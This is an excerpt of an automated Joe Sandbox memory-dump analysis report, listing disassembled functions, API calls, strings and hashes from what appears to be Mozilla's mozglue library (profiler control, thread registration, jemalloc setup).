ipcmessages, xrefs: 6C99CDBE
screenshots, xrefs: 6C99CCD4
samplingallthreads, xrefs: 6C99CE2C
mainthreadio, xrefs: 6C99CC7C
fileio, xrefs: 6C99CC92
jsallocations, xrefs: 6C99CD0E

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction ID: 83ba0149e1da4508ae46db8caf5da7f62224e50d92e28a20b1727d8fa29fa8dd
Opcode Fuzzy Hash: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction Fuzzy Hash: 8751A7C1B4562622FF0431157D10BAA184DEFB724AF1C443AED1AA1F90FF05E71A86B7

Function 6C9647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C964801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C964817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C96482D
__Init_thread_footer.LIBCMT ref: 6C96484A

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

GetCurrentThreadId.KERNEL32 ref: 6C96485F
GetCurrentThreadId.KERNEL32 ref: 6C96487E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96488B
free.MOZGLUE(?), ref: 6C96493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C964956
free.MOZGLUE(00000000), ref: 6C964960
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96499A

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

free.MOZGLUE(?), ref: 6C9649C6
free.MOZGLUE(?), ref: 6C9649E9

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C964828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C964812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9647FC
[I %d/%d] profiler_shutdown, xrefs: 6C964A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C964A42

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction ID: 08453eb5f0dbc9816052d0d2f3ad419fc9f7ccd014a6fa1920723bf4cc2f4576
Opcode Fuzzy Hash: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction Fuzzy Hash: D0812571A049009BEB00DFA9C86876A3775AF5232DF240229D916A7FC1D731F894CF96

Function 6C964470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C964730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
Part of subcall function 6C964730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9644D2
InitOnceExecuteOnce.KERNEL32(6C9DF80C,6C95F240,?,?), ref: 6C96451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96455C
LoadLibraryW.KERNEL32(?), ref: 6C964592
InitializeCriticalSection.KERNEL32(6C9DF770), ref: 6C9645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9645BB
InitOnceExecuteOnce.KERNEL32(6C9DF818,6C95F240,?,?), ref: 6C964612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C964636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C964644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C96466D
VerSetConditionMask.NTDLL ref: 6C96469F
VerSetConditionMask.NTDLL ref: 6C9646AB
VerSetConditionMask.NTDLL ref: 6C9646B2
VerSetConditionMask.NTDLL ref: 6C9646B9
VerSetConditionMask.NTDLL ref: 6C9646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9646FD

Strings

user32.dll, xrefs: 6C964557, 6C96463F
WRusr.dll, xrefs: 6C9644B5
kernel32.dll, xrefs: 6C9644CD
l, xrefs: 6C964578
NativeNtBlockSet_Write, xrefs: 6C9646F7

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction ID: 95f3080130d8457ce0f29acd07269db9e794ac254ff7730002b5faff1b8e1813
Opcode Fuzzy Hash: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction Fuzzy Hash: 2261F7B16087449FFB00DFA1C80AB957BB8EB4270CF24C559E505ABA91D770E6C4CFA1

Function 6C99E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C997090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C99B9F1,?), ref: 6C997107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99E92D
GetCurrentThreadId.KERNEL32 ref: 6C99EA4F
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA80
GetCurrentThreadId.KERNEL32 ref: 6C99EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99EA92
GetCurrentThreadId.KERNEL32 ref: 6C99EB11
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C99EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB5B

Part of subcall function 6C995710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C99EB71), ref: 6C9957AB

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C99EBAC

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99EBC1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C99EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,00000000), ref: 6C99EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EC46
CloseHandle.KERNEL32(?), ref: 6C99EC55
free.MOZGLUE(00000000), ref: 6C99EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C99EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C99EA9B

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction ID: 2aa7de54209fbba727499cebadc23d7e2544764f98b9149ff84a5c138505d6e8
Opcode Fuzzy Hash: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction Fuzzy Hash: 39A15B31704A049FDB009F28C849B6A77B5FF9631DF298129E919A7F51DB30F884CBA1

Function 6C99F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C99F8F9

Part of subcall function 6C966390: GetCurrentThreadId.KERNEL32 ref: 6C9663D0
Part of subcall function 6C966390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9663DF
Part of subcall function 6C966390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C96640E

ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F93A
GetCurrentThreadId.KERNEL32 ref: 6C99F98A
GetCurrentThreadId.KERNEL32 ref: 6C99F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F716

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C95B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C95B5E0

GetCurrentThreadId.KERNEL32 ref: 6C99F739
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F746
GetCurrentThreadId.KERNEL32 ref: 6C99F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9D385B,00000002,?,?,?,?,?), ref: 6C99F829
free.MOZGLUE(?,?,00000000,?), ref: 6C99F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C99F866
free.MOZGLUE(?), ref: 6C99FA0C

Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C
Part of subcall function 6C965E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EAB
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EB8
Part of subcall function 6C965E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F53
Part of subcall function 6C965E60: GetCurrentThread.KERNEL32 ref: 6C965F5C
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F66
Part of subcall function 6C965E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E

free.MOZGLUE(?), ref: 6C99F9C5
free.MOZGLUE(?), ref: 6C99F9DA

Strings

Thread , xrefs: 6C99F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C99F9A6
" attempted to re-register as ", xrefs: 6C99F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C99F71F

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction ID: 6b5310c5603d191f7ca0fc8477d7f63638681e90b96a7aec3afb15557e2c5248
Opcode Fuzzy Hash: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction Fuzzy Hash: 8C81D4716047009FDB10DF24C840BAEB7B5FFA5308F59856DE849A7B51EB30E949CBA2

Function 6C99EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EE60
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EEA5
CloseHandle.KERNEL32(?), ref: 6C99EEB4
free.MOZGLUE(00000000), ref: 6C99EEBB
GetCurrentThreadId.KERNEL32 ref: 6C99EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EECF

Part of subcall function 6C99DE60: GetCurrentThreadId.KERNEL32 ref: 6C99DE73
Part of subcall function 6C99DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B
Part of subcall function 6C99DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
Part of subcall function 6C99DE60: free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
Part of subcall function 6C99DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C99EF1E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF59
GetCurrentThreadId.KERNEL32 ref: 6C99EFB0
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFE1
GetCurrentThreadId.KERNEL32 ref: 6C99EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F000

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C99F02F

Part of subcall function 6C99F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C99F09B
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C99F0AC
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C99F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C99EED7
[I %d/%d] profiler_pause, xrefs: 6C99F008

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction ID: b8a4fbac2efcb96a32d5c2e6a1e40db27ab5d879d583546039f975c505bbd21f
Opcode Fuzzy Hash: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction Fuzzy Hash: 88510531608A109FDB005BA4D80E7A577B8FB5631EF38465AE919A3F40DB31F884C7E2

Function 6C98D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C98D047
GetSystemInfo.KERNEL32(?), ref: 6C98D093
__Init_thread_footer.LIBCMT ref: 6C98D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C98D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C98D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C98D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C98D1B1

Strings

MOZ_CRASH(), xrefs: 6C98D277
<jemalloc>, xrefs: 6C98D268, 6C98D311
Compile-time page size does not divide the runtime one., xrefs: 6C98D26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6C98D322
MALLOC_OPTIONS, xrefs: 6C98D0CB

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction ID: bd55a90260161550d85c816f729a0fabb3bfec874916e14820055cbf37d57902
Opcode Fuzzy Hash: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction Fuzzy Hash: EE811871B0AA02DBEB04DF68C944B69B7B5FB56B04F20491AE901B7B80D771F880CBD1

Function 6C965E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

GetCurrentThreadId.KERNEL32 ref: 6C965EAB
GetCurrentThreadId.KERNEL32 ref: 6C965EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C966017

Part of subcall function 6C954310: moz_xmalloc.MOZGLUE(00000010,?,6C9542D2), ref: 6C95436A
Part of subcall function 6C954310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9542D2), ref: 6C954387

moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
GetCurrentProcess.KERNEL32 ref: 6C965F53
GetCurrentThread.KERNEL32 ref: 6C965F5C
GetCurrentProcess.KERNEL32 ref: 6C965F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C

